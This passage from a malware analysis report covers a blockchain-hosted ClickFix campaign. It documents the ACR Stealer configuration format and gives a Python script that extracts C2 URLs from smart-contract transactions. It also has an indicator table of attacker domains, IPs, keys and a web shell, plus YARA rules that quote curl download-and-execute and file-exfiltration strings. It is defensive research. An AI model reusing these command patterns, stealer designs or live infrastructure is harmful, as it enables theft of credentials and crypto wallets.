String (e.g., "niic...phjd") |
The unique identifier of a target browser extension. This ID is used to build the path to the extension’s local data storage directory. |
exW[*].n |
String (e.g., "w179") |
An internal name used to label and categorize the stolen extension data when it is exfiltrated. |
sW, sM, sO, g |
Array of Objects | Arrays defining tasks for stealing files from various software (Wallets, Messaging, Other) and general file grabbing (g). |
sW[*].a |
String (e.g., "w", "m", "o", "g") |
A category flag (‘w’ for wallet, etc.) used internally to classify the type of data being stolen. |
sW[*].p |
String (e.g., "\\Monero\\wallets") |
The relative path to the target file or folder that will be searched for data. |
sW[*].r |
Boolean (true or false) |
A boolean flag indicating whether the file search should be performed recursively, scanning all subdirectories within the target path. |
sW[*].gl |
2 = %APPDATA%\\Roaming3 = Desktop4 = %USERPROFILE%5 = Documents |
“Grab Location” flag. This key specifies a general root directory for a search. It is primarily used by the general file grabber tasks (category "g"), but its role can be secondary to the more specific tp flag when both are present. This key is ignored by specific file-stealing tasks (sW, sM, sO). |
sW[*].f |
Array of Strings (e.g., ["*wallet*dat"]) |
An array of file patterns (including wildcards) to match and steal within the specified path. |
sW[*].tp |
Integer (1-5) |
“Target Path Type.” A flag that dictates how the final path is constructed by combining a base directory with the relative path from the
|
ld |
Array of Objects | Top-level key for an array of download-and-execute tasks. |
ld[*].u |
String (URL) | The URL from which to download the next-stage payload. |
ld[*].tr |
1 = Drop & Execute2 = In-Memory Execution |
“Type Run.” This is the primary flag controlling the execution strategy. 1 saves the payload to disk first, while 2 executes it directly from memory. |
ld[*].tf |
1, 2, 3, 4, 5 |
“Type File.” The meaning of this key depends on the value of "tr":If tr is 1 (Drop & Execute): Determines the file extension (1=.exe, 2=.cmd, 3=.dll, 4=.ps1) for the payload dropped to disk. It also influences the execution command (4 uses powershell.exe -File, while .exe is executed directly via CreateProcessA. cmd and dll both fail).If tr is 2 (In-Memory Execution): Dictates the specific in-memory technique. 4 uses PowerShell IEX(DownloadString), and 5 uses Process Hollowing into rundll32.exe. |
ld[*].p |
Integer (e.g., 1) |
Possibly priority value. This key is present in the configuration but is not used by the client-side execution logic in this sample. |
ld[*].c, ld[*].w |
[], false |
Possibly Command Line/Wait values. These keys are present but are not used by the client-side execution logic in this sample. |
str |
Object | Contains several nested objects with key-value string pairs. A static analysis shows these strings are not referenced or used anywhere in this binary, suggesting they are artifacts from a malware builder or intended for different malware variants. |
5.3 ClickFix URL extraction script
import requests
import time
import re
import base64
import binascii
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
from eth_abi.abi import decode
from eth_abi import exceptions as eth_abi_exceptions
class C2ExtractionError(Exception):
"""Custom exception for failures during C2 extraction."""
pass
def deobfuscate_c2_domain(obfuscated_domain: str) -> str:
parts = obfuscated_domain.split(".")
deobfuscated_parts = [part[::-1] for part in parts[:-1]]
deobfuscated_parts.append(parts[-1])
return ".".join(deobfuscated_parts)
def extract_c2_from_tx_data(hex_data: str) -> str:
SET_FUNCTION_SELECTOR = "0x4ed3885e"
if not hex_data.startswith(SET_FUNCTION_SELECTOR):
raise C2ExtractionError(
"Transaction data does not match the target function selector."
)
try:
encoded_args_hex = hex_data[len(SET_FUNCTION_SELECTOR) :]
decoded_tuple = decode(["string"], bytes.fromhex(encoded_args_hex))
first_level_script = base64.b64decode(decoded_tuple[0]).decode("utf-8")
except (binascii.Error, UnicodeDecodeError, eth_abi_exceptions.DecodingError) as e:
raise C2ExtractionError(
"Stage 1 failed: Could not decode ABI/Base64 payload."
) from e
stage2_match = re.search(r'eval\(atob\("([A-Za-z0-9+/=]+)"\)\)', first_level_script)
if not stage2_match:
raise C2ExtractionError(
"Stage 2 failed: Could not find the nested 'eval(atob(...))' payload."
)
try:
second_level_script = base64.b64decode(stage2_match.group(1)).decode(
"utf-8", errors="ignore"
)
except (binascii.Error, UnicodeDecodeError) as e:
raise C2ExtractionError(
"Stage 2 failed: Could not decode the nested payload."
) from e
candidates = re.findall(r"['\"]([A-Za-z0-9+/]{20,}=*)['\"]", second_level_script)
if not candidates:
raise C2ExtractionError(
"Stage 3 failed: No potential Base64 C2 candidates found."
)
for candidate_b64 in candidates:
try:
padding = "=" * (4 - len(candidate_b64) % 4)
obfuscated_domain = base64.b64decode(candidate_b64 + padding).decode(
"utf-8"
)
if "." in obfuscated_domain and "/" in obfuscated_domain:
return deobfuscate_c2_domain(obfuscated_domain)
except (binascii.Error, UnicodeDecodeError):
continue
raise C2ExtractionError(
"Stage 3 failed: No valid C2 URL found after checking all candidates."
)
# --- Networking and Orchestration Logic (Corrected for 10k Limit) ---
def create_session_with_retries() -> requests.Session:
"""Creates a requests session with a robust retry strategy."""
session = requests.Session()
retry_strategy = Retry(
total=5,
backoff_factor=2,
status_forcelist=[429, 500, 502, 503, 504, 403],
allowed_methods=["GET"],
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session.mount("https://", adapter)
session.mount("http://", adapter)
return session
def fetch_transaction_chunk(session, sender, api_key, chain_id, start_block, page_size):
"""
Fetches one chunk of transactions, paginating up to the 10,000 record limit.
Returns a list of transactions fetched in the chunk.
"""
chunk_transactions = []
current_page = 1
base_url = "https://api.etherscan.io/v2/api"
while True:
params = {
"chainid": chain_id,
"module": "account",
"action": "txlist",
"address": sender,
"startblock": start_block,
"endblock": "latest",
"page": current_page,
"offset": page_size,
"sort": "asc",
"apikey": api_key,
}
response = session.get(base_url, params=params)
response.raise_for_status()
data = response.json()
if data.get("status") == "1":
result = data.get("result", [])
if not result:
break
chunk_transactions.extend(result)
if len(result) < page_size:
break
current_page += 1
else:
if "Result window is too large" not in data.get("message", ""):
print(f"API Error: {data.get('message', 'Unknown Error')}")
break
return chunk_transactions
def fetch_and_extract_c2s(
sender, recipient, api_key, chain_id, start_block=0, page_size=1000
):
"""
Orchestrates fetching all transactions in chunks to bypass the 10k API limit
and extracts C2 domains.
"""
total_tx_processed = 0
found_c2_count = 0
current_start_block = start_block
session = create_session_with_retries()
while True:
print(f"Fetching new chunk starting from block {current_start_block}...")
try:
chunk = fetch_transaction_chunk(
session, sender, api_key, chain_id, current_start_block, page_size
)
except requests.exceptions.RequestException as e:
return f"❌ Aborting. A network error occurred after multiple retries: {e}"
if not chunk:
print("\n✅ No more transactions found. All available data processed.")
break
for tx in chunk:
if tx.get("to", "").lower() == recipient:
try:
c2_domain = extract_c2_from_tx_data(tx["input"])
print(f"[+] Found C2: {c2_domain}")
found_c2_count += 1
except C2ExtractionError:
continue
total_tx_processed += len(chunk)
print(
f" ... Processed {len(chunk)} transactions in chunk. Total so far: {total_tx_processed}"
)
current_start_block = int(chunk[-1]["blockNumber"]) + 1
time.sleep(0.2)
return found_c2_count
if __name__ == "__main__":
API_KEY = "..."
SENDER_ADDRESS = "0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290"
RECIPIENT_CONTRACT = "0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5".lower()
TARGET_CHAIN_ID = 97 # BSC Testnet
print(
f"Starting C2 extraction for sender {SENDER_ADDRESS} on chain {TARGET_CHAIN_ID}..."
)
result = fetch_and_extract_c2s(
SENDER_ADDRESS,
RECIPIENT_CONTRACT,
API_KEY,
chain_id=TARGET_CHAIN_ID,
start_block=66099761,
page_size=2000,
)
if isinstance(result, str):
print(f"\n❌ An error occurred: {result}")
else:
print(f"\n✅ Success! Found a total of {result} C2 ClickFix URLs.")
6 IOCs
| Indicator | Type | Description |
|---|---|---|
| Network Indicators | ||
www[.]samuelorige[.]com[.]br |
Domain | Initial point of compromise; a WordPress site hosting the malicious Stage 1 JavaScript loader. |
bsc-testnet[.]bnbchain[.]org |
Domain | Legitimate public RPC endpoint for the Binance Smart Chain (BSC) testnet, used for blockchain queries. |
n3[.]p9a0k[.]ru |
Domain | Stage 3 C2 server hosting the HTA (Windows) and shell script (macOS) payloads. |
ba5eq[.]ru |
Domain | Base domain used for the DGA in the Stage 4.4 PowerShell downloader on Windows. |
yummygorgeous[.]com |
Domain | C2 server hosting the native macOS dropper (App.bin). |
goalbus[.]space |
Domain | Primary C2 server for the macOS infection chain, used for downloading payloads and exfiltrating data. |
aether100pronotification.table.core.windows.net |
Domain | Masquerading C2 domain for the ACR Stealer (Windows payload). |
5.161.41.195 |
IP Address | Final C2 server for the ACR Stealer (Windows payload), used for tasking and configuration. |
85.209.128.128 |
IP Address | C2 server hosting binary payloads (blender.bin, discord.bin) for the ACR Stealer. |
87.120.219.26 |
IP Address | C2 server hosting a PowerShell payload for the ACR Stealer. |
hxxps://n3[.]p9a0k[.]ru/q7p[.]check |
URL | Full URL for the Stage 4 HTA (Windows) and shell script (macOS) payloads. |
hxxps://495161[.]yummygorgeous[.]com/App[.]bin |
URL | Full URL for the Stage 4 macOS native dropper. |
hxxps://goalbus[.]space/dynamic |
URL Path | Endpoint on the macOS C2 server for downloading the main AppleScript stealer payload. |
hxxps://goalbus[.]space/gate |
URL Path | Endpoint on the macOS C2 server for exfiltrating stolen data. |
hxxps://goalbus[.]space/ledger/start/<build_id> |
URL Path | Endpoint for loading the phishing page in the trojanized Ledger Live application. |
hxxp://85[.]209[.]128[.]128/EtpaV2obgyN7ZZQU/blender[.]bin |
URL | Full URL for the blender.bin payload specified in the ACR Stealer config. |
hxxp://85[.]209[.]128[.]128/EtpaV2obgyN7ZZQU//discord[.]bin |
URL | Full URL for the discord.bin payload specified in the ACR Stealer config. |
hxxp://87[.]120[.]219[.]26/mix2pgYCDbF4pdNYtz |
URL | Full URL for the PowerShell payload specified in the ACR Stealer config. |
hxxps://<random_subdomain>[.]ba5eq[.]ru/effc16a562b273f0bb5c3e1e41a06a77 |
URL (DGA) | DGA pattern used by the Stage 4.4 PowerShell downloader. |
hxxps://<random_subdomain>[.]b-18a[.]ru/effc16a562b273f0bb5c3e1e41a06a77 |
URL (DGA) | DGA pattern used by the Stage 4.4 PowerShell downloader. |
mi[.]limpingbronco[.]com |
Domain | C2 server for the Amadey botnet payload. |
hepahyy1[.]top |
Domain | C2 server for the Go-based Discord token stealer. |
congenialespresso[.]top |
Domain | C2 server for the flawed PowerShell loader. Associated with Acreed. |
hxxp://mi[.]limpingbronco[.]com/kaWt2QXfpPueNM/index[.]php |
URL | Full C2 endpoint for the Amadey botnet payload. |
hxxps://hepahyy1[.]top/dst[.]php |
URL | Exfiltration endpoint for the Go-based Discord token stealer. |
hxxps://congenialespresso[.]top/t7pn2gM7PbuVTY/qWzG5YZweQmNkV[.]jpg |
URL | Download URL for the final payload in the flawed PowerShell loader. |
| File-Based Indicators | ||
f75bc578269b2286c78a711a0cc932ba6b57e1e2642b883847400c44c8bb57f5 |
SHA256 | PureCrypter loader, executed by the Stage 4.5 PowerShell script on Windows. |
dbea392dcea22aac4496066c5d0f3bf328cf53c5500d9d589e084193085c623c |
SHA256 | The malicious ZIP archive containing the trojanized Ledger Live application for macOS. |
3eadc0d08e46da583ecd82b431341cd65c8b450aa0b426c7a3062831f0f1ad74 |
SHA256 | The main executable of the trojanized Ledger Live application for macOS. |
924f5e179bf983bbf9186e4eb6dfa683906bca9e080b7618b505df3ea53037b9 |
SHA256 | Hash of blender.bin |
e4d0266653cc4c9201f3ed68bad9410eefebcf0b8d691ced7bcd4cb9ca2c8503 |
SHA256 | Hash of discord.bin. |
36a1b5b69da9554133d2ee575c50620b45bd7cb50a550cc4c6073d324ea4981e |
SHA256 | Hash of mix2pgYCDbF4pdNYtz |
update |
Filename | The name given to the downloaded native Mach-O dropper on macOS (App.bin). |
/tmp/osalogging.zip |
File Path | The exfiltration archive created by the Mac.c stealer payload on macOS. |
serviceenj |
Scheduled Task | Name of the scheduled task created for persistence by the Stage 4.2 VBScript on Windows. |
Vgkbbtrtj.exe |
Filename | Installation filename used by the Amadey botnet payload. |
| Blockchain Indicators (BSC Testnet) | ||
0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 |
Wallet Address | The threat actor’s primary operational wallet, used to create all smart contracts in this campaign. |
0xA1decFB75C8C0CA28C10517ce56B710baf727d2e |
Smart Contract | Stage 1 loader contract, which contains the OS detection script. |
0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff |
Smart Contract | Stage 2 contract that stores the Windows-specific payload (fake reCAPTCHA). |
0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 |
Smart Contract | Stage 2 contract that stores the macOS-specific payload (fake reCAPTCHA). |
0xf4a32588b50a59a82fbA148d436081A48d80832A |
Smart Contract | Victim tracking contract, used to check if a user ID has already been processed. |
0xfa491a3bb2145c3e61Ce263B029Ab38351Aa2ba0 |
Smart Contract | An additional smart contract created by the actor, purpose unconfirmed (possibly testing) but part of the infrastructure. |
0x7102e054383feaef850fb7220709fb65c21b94d |
Wallet Address | The actor’s previous operational wallet, linked via on-chain transactional analysis. |
| Static Configuration & Keys | ||
08de0189-4e5e-477f-8700-1cd264a45266 |
GUID | Hardcoded campaign ID for the ACR Stealer. |
7640FED98A53856641763683163F4127B9FC00F9A788773C00EE1F2634CEC82F |
AES-256 Key (Hex) | AES key used for ACR Stealer C2 communication. |
852149723 |
XOR Key | Base XOR key for C2 communication. Note: The actual key used is 10 bytes: b'852149723\\x00'. |
AMSI_RESULT_NOT_DETECTED |
XOR Key | XOR key used to decode the final .NET payload (PureCrypter) from the Stage 4.5 PowerShell script. |
5190ef1733183a0dc63fb623357f56d6 |
API Key | Hardcoded API key used by the macOS native dropper and trojanized Ledger Live app for C2 communication. |
6144b59e8aa5227d2cd5f9144fe8b847ee8cceeeb1d73ba99dbe33188162efab |
Build ID | Hardcoded build ID used by the macOS payloads for C2 communication. |
MacSync Stealer |
Internal Name | The internal name for the macOS stealer, as found in its code. Attributed to the Mac.c family. |
1.0.5_release |
Version String | Version number found within the macOS stealer payload. |
GETWELL |
Build Tag | Build tag found within the macOS stealer payload. |
| Web Shell Indicators | ||
DSH v0.1 |
Web Shell Name | The name of the PHP web shell found on IPFS, linked via the actor’s “test” smart contract. |
ShellBot 2.0 |
User-Agent | A whitelisted User-Agent string that grants access to the DSH v0.1 web shell. |
46.8.231.0/24 |
IP Subnet | Whitelisted IP subnet for accessing the web shell. |
146.103.111.0/24 |
IP Subnet | Whitelisted IP subnet for accessing the web shell. |
193.58.120.0/24 |
IP Subnet | Whitelisted IP subnet for accessing the web shell. |
hxxps://ipfs[.]io/ipfs/QmYWm74QZBkVTRkpno3uEXqVcSbXF8tHCE68Fsmv1HVdP2 |
URL (IPFS) | The IPFS gateway link to the PHP web shell script. |
hxxps://bit[.]ly/wsoExGently2 |
URL | Shortened URL in the web shell, intended to download a second-stage payload. |
hxxps://gist[.]githubusercontent[.]com/aels/6655104db9e08bca1e09fe554d8b992b/raw/59884d10cf7bc86d6ead9c20da4ce17a2dbc7348/wsoExGently[.]php |
URL | The resolved Gist URL containing a secondary PHP payload, which is downloaded and executed by the web shell. |
7 Yara Rules
7.1 Discord Stealer
rule INDICATOR_SUSPICIOUS_Go_Infostealer_Discord_Generic
{
meta:
description = "Detects a Go-based infostealer that targets Discord tokens by locating the 'Local State' file, decrypting the master key with DPAPI, and exfiltrating tokens."
author = "Matthieu Gras"
date = "2025-10-14"
reference = "Internal analysis of decompiled code. Generic version."
malware_family = "GoDiscordStealer"
strings:
$gobin = "go:buildid" ascii
$path1 = "%s\\discord" ascii wide
$path2 = "%s\\discordcanary" ascii wide
$path3 = "%s\\Lightcord" ascii wide
$path4 = "%s\\discordptb" ascii wide
$path5 = "%s\\Local State" ascii wide
$path6 = "%s\\Local Storage\\leveldb" ascii wide
$winapi1 = "crypt32.dll" ascii
$winapi2 = "CryptUnprotectData" ascii
$exfil_format = "token=%s" ascii
$exfil_content_type = "application/x-www-form-urlencoded" ascii
condition:
uint16(0) == 0x5a4d and filesize < 15MB and
(
3 of ($path*) and
all of ($winapi*) and
$exfil_format and
$exfil_content_type and
$gobin
)
}
7.2 Mac.c Stealer
rule MAL_OSX_MacC_Dropper {
meta:
description = "Detects a macOS dropper that uses curl to download and execute an AppleScript payload via the 'osascript' command. It also prepares to exfiltrate data via a POST request."
author = "Matthieu Gras"
date = "2025-10-14"
reference = "Internal analysis of Mac.c Stealer"
malware_family = "Mac.c stealer"
strings:
$cmd_dl_exec1 = "curl -k -s -H \"api-key: %s\"" ascii wide
$cmd_dl_exec2 = "| osascript" ascii wide
$cmd_exfil1 = "-F \"file=@/tmp/osalogging.zip\"" ascii wide
$cmd_exfil2 = "-F \"buildtxd=%s\"" ascii wide
$cmd_exfil3 = "https://%s/gate" ascii wide
$str_kill = "killall Terminal" ascii wide
$str_uri = "/dynamic?txd=%s" ascii wide
condition:
uint32(0) == 0xfeedfacf and
(
(all of ($cmd_dl*)) and (1 of ($cmd_exfil*))
) or
(
(all of ($cmd_dl*)) and (1 of ($str*))
)
}
rule MAL_OSX_MacC_Stealer_Script_v2 {
meta:
description = "Detects the AppleScript payload of the Mac.c infostealer. It looks for code related to stealing browser data, crypto wallets, specific files, and phishing for the user's password."
author = "Matthieu Gras"
date = "2025-10-14"
reference = "Internal analysis of Mac.c Stealer"
malware_family = "Mac.c stealer"
strings:
$prompt_pwd1 = "You should update the settings to launch the application." ascii wide
$prompt_pwd2 = "with title \"System Preferences\"" ascii wide
$func_chromium = "on chromium(writemind, chromium_map)" ascii wide
$func_crypto = "on Cryptowallets(writemind, deskwals)" ascii wide
$func_grabber = "on filegrabber(writemind)" ascii wide
$str_telegram = "Telegram Desktop/tdata/" ascii wide
$str_keychain = "login.keychain-db" ascii wide
$path_exodus = "library & \"Exodus/\"" ascii wide
$path_atomic = "library & \"atomic/Local Storage/leveldb/\"" ascii wide
$cmd_zip = "ditto -c -k --sequesterRsrc" ascii wide
$zip_file = "/tmp/osalogging.zip" ascii wide
$trojan_ledger = "Ledger Live.app" ascii wide
$trojan_trezor = "Trezor Suite.app" ascii wide
condition:
( all of ($prompt*) and 1 of ($func*, $str_telegram, $str_keychain) ) or
( all of ($cmd_zip, $zip_file) and 3 of ($func_chromium, $func_crypto, $func_grabber, $str_keychain, $path_exodus, $path_atomic, $trojan_ledger, $trojan_trezor) )
}
References
- [1] Accessed: Oct. 02, 2025. [Online]. Available: https://www.intrinsec.com/analysis-of-acreed-a-rising-infostealer/
- [2] Accessed: Oct. 12, 2025. [Online]. Available: https://any.run/cybersecurity-blog/pure-malware-family-analysis/
- [3] Accessed: Oct. 12, 2025. [Online]. Available: https://hackernoon.com/macc-stealer-takes-on-amos-a-new-rival-shakes-up-the-macos-infostealer-market
- [4] Accessed: Oct. 12, 2025. [Online]. Available: https://www.malcat.fr/
- [5] Accessed: Oct. 13, 2025. [Online]. Available: https://asec.ahnlab.com/en/90154/